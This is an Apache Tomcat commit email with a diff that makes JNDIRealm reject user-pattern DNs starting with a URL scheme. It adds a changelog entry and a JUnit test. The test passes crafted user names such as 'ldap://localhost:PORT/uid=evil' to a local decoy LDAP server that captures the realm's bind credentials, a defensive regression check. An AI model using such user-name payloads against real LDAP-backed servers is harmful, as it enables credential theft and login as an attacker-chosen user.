This is an automated email from the ASF dual-hosted git repository.
markt-asf pushed a commit to branch 10.1.x
in repository https://gitbox.apache.org/repos/asf/tomcat.git
The following commit(s) were added to refs/heads/10.1.x by this push:
new 6c60b9bffb Reject JNDIRealm user pattern DNs that start with a URL
scheme
6c60b9bffb is described below
commit 6c60b9bffb10eb6a91815b09bfdb9a9108ea6fac
Author: Mark Thomas <[email protected]>
AuthorDate: Thu Nov 26 15:11:27 2026 +0000
Reject JNDIRealm user pattern DNs that start with a URL scheme
If the user pattern allows the user name to form the start of the DN (e.g.
{0},ou=people,dc=example,dc=com), the user controls the start of the name
that is passed to DirContext.getAttributes() as a String. JNDI treats a name
that starts with a URL scheme such as ldap:// as a URL and connects to the
host in the URL using the environment of the calling context, which includes
the credentials of the realm. The user is then authenticated against, and
given the roles stored in, a directory the user controls.
No DN can start with a URL scheme so reject any DN generated from a user
pattern that does.
Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
---
java/org/apache/catalina/realm/JNDIRealm.java | 19 +++
.../apache/catalina/realm/LocalStrings.properties | 1 +
.../realm/TestJNDIRealmUserPatternUrl.java | 178 +++++++++++++++++++++
webapps/docs/changelog.xml | 8 +
4 files changed, 206 insertions(+)
diff --git a/java/org/apache/catalina/realm/JNDIRealm.java
b/java/org/apache/catalina/realm/JNDIRealm.java
index f4eb6b337d..297e5f5634 100644
--- a/java/org/apache/catalina/realm/JNDIRealm.java
+++ b/java/org/apache/catalina/realm/JNDIRealm.java
@@ -36,6 +36,7 @@ import java.util.Map.Entry;
import java.util.Set;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Pattern;
import javax.naming.AuthenticationException;
import javax.naming.CompositeName;
@@ -146,6 +147,12 @@ public class JNDIRealm extends RealmBase {
// Note: Usage assumes this value is escaped / doesn't need escaping
private static final String NULL_USER_ROLE_ATTRIBUTE_PLACEHOLDER =
"tomcat-unset-ignore";
+ /*
+ * JNDI treats a name that starts with a URL scheme (e.g. ldap://) as a
URL, not as a name in the directory that is
+ * being accessed, and connects to the host in the URL. No DN can start in
this way.
+ */
+ private static final Pattern URL_SCHEME_PATTERN =
Pattern.compile("^[A-Za-z][A-Za-z0-9+.-]*:");
+
private static final String AUTHENTICATION_NAME_GSSAPI = "GSSAPI";
private static final String AUTHENTICATION_NAME_SIMPLE = "simple";
@@ -1745,6 +1752,18 @@ public class JNDIRealm extends RealmBase {
String dn = connection.userPatternFormatArray[curUserPattern]
.format(new String[] { doAttributeValueEscaping(username) });
+ /*
+ * If the pattern starts with the user name, the user controls the
start of the DN. JNDI would treat a DN that
+ * starts with a URL scheme as a URL, connect to the host in the URL
(using the credentials of this realm) and
+ * look up the user there.
+ */
+ if (URL_SCHEME_PATTERN.matcher(dn).find()) {
+ if (containerLog.isDebugEnabled()) {
+ containerLog.debug(sm.getString("jndiRealm.userPatternUrl",
dn));
+ }
+ return null;
+ }
+
try {
user = getUserByPattern(connection.context, username, attrIds, dn);
} catch (NameNotFoundException e) {
diff --git a/java/org/apache/catalina/realm/LocalStrings.properties
b/java/org/apache/catalina/realm/LocalStrings.properties
index 5a3b42b7ba..378b51e797 100644
--- a/java/org/apache/catalina/realm/LocalStrings.properties
+++ b/java/org/apache/catalina/realm/LocalStrings.properties
@@ -94,6 +94,7 @@ jndiRealm.negotiatedTls=Negotiated tls connection using
protocol [{0}]
jndiRealm.noUserCredentials=Cannot perform the search or bind as user [{0}]:
no password is available for the user
jndiRealm.open=Exception opening directory server connection
jndiRealm.tlsClose=Exception closing tls response
+jndiRealm.userPatternUrl=The distinguished name [{0}] generated from the user
pattern starts with a URL scheme so the user has been rejected
lockOutRealm.authLockedUser=An attempt was made to authenticate the locked
user [{0}]
lockOutRealm.invalidEscape=The value [{0}] is not valid. The supported escape
sequences are \\\\, \\uXXXX and \\u'{'X...X'}' (one to six hex digits) and
unpaired surrogates are not permitted
diff --git a/test/org/apache/catalina/realm/TestJNDIRealmUserPatternUrl.java
b/test/org/apache/catalina/realm/TestJNDIRealmUserPatternUrl.java
new file mode 100644
index 0000000000..44cd249dbc
--- /dev/null
+++ b/test/org/apache/catalina/realm/TestJNDIRealmUserPatternUrl.java
@@ -0,0 +1,178 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.catalina.realm;
+
+import java.net.InetAddress;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import org.apache.juli.logging.LogFactory;
+
+import com.unboundid.ldap.listener.InMemoryDirectoryServer;
+import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
+import com.unboundid.ldap.listener.InMemoryListenerConfig;
+import
com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSimpleBindRequest;
+import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPConnection;
+
+/*
+ * If the user pattern starts with the user name, the user controls the start
of the DN. JNDI treats a name that starts
+ * with a URL scheme as a URL and connects to the host in the URL using the
credentials of the realm. Make sure that
+ * can't be used to authenticate against a directory the user controls.
+ */
+public class TestJNDIRealmUserPatternUrl {
+
+ private static final String SERVICE_DN = "cn=svc,dc=example,dc=com";
+ private static final String SERVICE_PASSWORD = "s3cret";
+
+ private static final List<String> attackerBinds = new
CopyOnWriteArrayList<>();
+
+ private static InMemoryDirectoryServer legitimateServer;
+ private static InMemoryDirectoryServer attackerServer;
+
+
+ @BeforeClass
+ public static void createLDAP() throws Exception {
+ legitimateServer = createServer(null);
+ try (LDAPConnection conn = legitimateServer.getConnection()) {
+ conn.add(new Entry("dn: uid=alice,ou=people,dc=example,dc=com",
"objectClass: top",
+ "objectClass: inetOrgPerson", "uid: alice", "cn: alice",
"sn: alice", "userPassword: alicepw",
+ "description: user"));
+ }
+
+ attackerServer = createServer(new InMemoryOperationInterceptor() {
+ @Override
+ public void
processSimpleBindRequest(InMemoryInterceptedSimpleBindRequest request) {
+ attackerBinds.add(request.getRequest().getBindDN() + " / " +
+ request.getRequest().getPassword().stringValue());
+ }
+ });
+ try (LDAPConnection conn = attackerServer.getConnection()) {
+ conn.add(new Entry("dn: uid=evil,ou=people,dc=example,dc=com",
"objectClass: top",
+ "objectClass: inetOrgPerson", "uid: evil", "cn: evil",
"sn: evil", "userPassword: evilpw",
+ "description: admin"));
+ }
+ }
+
+
+ private static InMemoryDirectoryServer
createServer(InMemoryOperationInterceptor interceptor) throws Exception {
+ InMemoryDirectoryServerConfig config = new
InMemoryDirectoryServerConfig("dc=example,dc=com");
+ config.setListenerConfigs(
+ new InMemoryListenerConfig("localListener",
InetAddress.getByName("localhost"), 0, null, null, null));
+ config.addAdditionalBindCredentials(SERVICE_DN, SERVICE_PASSWORD);
+ if (interceptor != null) {
+ config.addInMemoryOperationInterceptor(interceptor);
+ }
+ InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
+ server.startListening();
+ try (LDAPConnection conn = server.getConnection()) {
+ conn.add(new Entry("dn: dc=example,dc=com", "objectClass: top",
"objectClass: domain", "dc: example"));
+ conn.add(new Entry("dn: ou=people,dc=example,dc=com",
"objectClass: top",
+ "objectClass: organizationalUnit", "ou: people"));
+ }
+ return server;
+ }
+
+
+ @AfterClass
+ public static void destroyLDAP() {
+ legitimateServer.shutDown(true);
+ attackerServer.shutDown(true);
+ }
+
+
+ @Before
+ public void clearBinds() {
+ attackerBinds.clear();
+ }
+
+
+ @Test
+ public void testRdnWithLeadingPlaceholder() {
+ GenericPrincipal principal =
+ (GenericPrincipal)
createRealm("{0},ou=people,dc=example,dc=com").authenticate("uid=alice",
"alicepw");
+
+ Assert.assertNotNull(principal);
+ Assert.assertEquals("uid=alice", principal.getName());
+ Assert.assertArrayEquals(new String[] { "user" },
principal.getRoles());
+ }
+
+
+ @Test
+ public void testLdapUrlLeadingPlaceholder() {
+ doTestUrl("{0},ou=people,dc=example,dc=com", "ldap://localhost:" +
attackerServer.getListenPort() + "/uid=evil");
+ }
+
+
+ @Test
+ public void testLdapUrlPlaceholderOnly() {
+ doTestUrl("{0}", "ldap://localhost:" + attackerServer.getListenPort() +
+ "/uid=evil,ou=people,dc=example,dc=com");
+ }
+
+
+ @Test
+ public void testLdapUrlUpperCase() {
+ doTestUrl("{0},ou=people,dc=example,dc=com", "LDAP://localhost:" +
attackerServer.getListenPort() + "/uid=evil");
+ }
+
+
+ @Test
+ public void testOtherUrlScheme() {
+ doTestUrl("{0},ou=people,dc=example,dc=com", "ldaps://localhost:" +
attackerServer.getListenPort() +
+ "/uid=evil");
+ doTestUrl("{0},ou=people,dc=example,dc=com",
"rmi://localhost:1/uid=evil");
+ }
+
+
+ /*
+ * The user name is not at the start of the DN so JNDI will not treat the
DN as a URL.
+ */
+ @Test
+ public void testLdapUrlNotAtStart() {
+ doTestUrl("uid={0},ou=people,dc=example,dc=com", "ldap://localhost:" +
attackerServer.getListenPort() +
+ "/uid=evil");
+ }
+
+
+ private void doTestUrl(String userPattern, String username) {
+ Assert.assertNull(createRealm(userPattern).authenticate(username,
"evilpw"));
+ // The directory the user controls must not have been contacted using
the credentials of the realm
+ Assert.assertTrue(attackerBinds.toString(), attackerBinds.isEmpty());
+ }
+
+
+ private JNDIRealm createRealm(String userPattern) {
+ JNDIRealm realm = new JNDIRealm();
+ realm.containerLog =
LogFactory.getLog(TestJNDIRealmUserPatternUrl.class);
+ realm.setConnectionURL("ldap://localhost:" +
legitimateServer.getListenPort());
+ realm.setConnectionName(SERVICE_DN);
+ realm.setConnectionPassword(SERVICE_PASSWORD);
+ realm.setUserPattern(userPattern);
+ realm.setUserPassword("userPassword");
+ realm.setUserRoleName("description");
+ realm.setCredentialHandler(new MessageDigestCredentialHandler());
+ return realm;
+ }
+}
diff --git a/webapps/docs/changelog.xml b/webapps/docs/changelog.xml
index e0847b8fd9..636954921a 100644
--- a/webapps/docs/changelog.xml
+++ b/webapps/docs/changelog.xml
@@ -206,6 +206,14 @@
now declared once on the root element of the response rather than being
repeated for every property of every resource. (markt)
</fix>
+ <fix>
+ When <code>JNDIRealm</code> uses <code>userPattern</code> and the
+ pattern allows the user name to form the start of the distinguished
+ name (DN), reject a user name that results in a DN that starts with a
+ URL scheme such as <code>ldap://</code>. JNDI treats such a DN as a URL
+ and connects to the host named in the URL using the credentials of the
+ realm. (markt)
+ </fix>
</changelog>
</subsection>
<subsection name="Coyote">
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]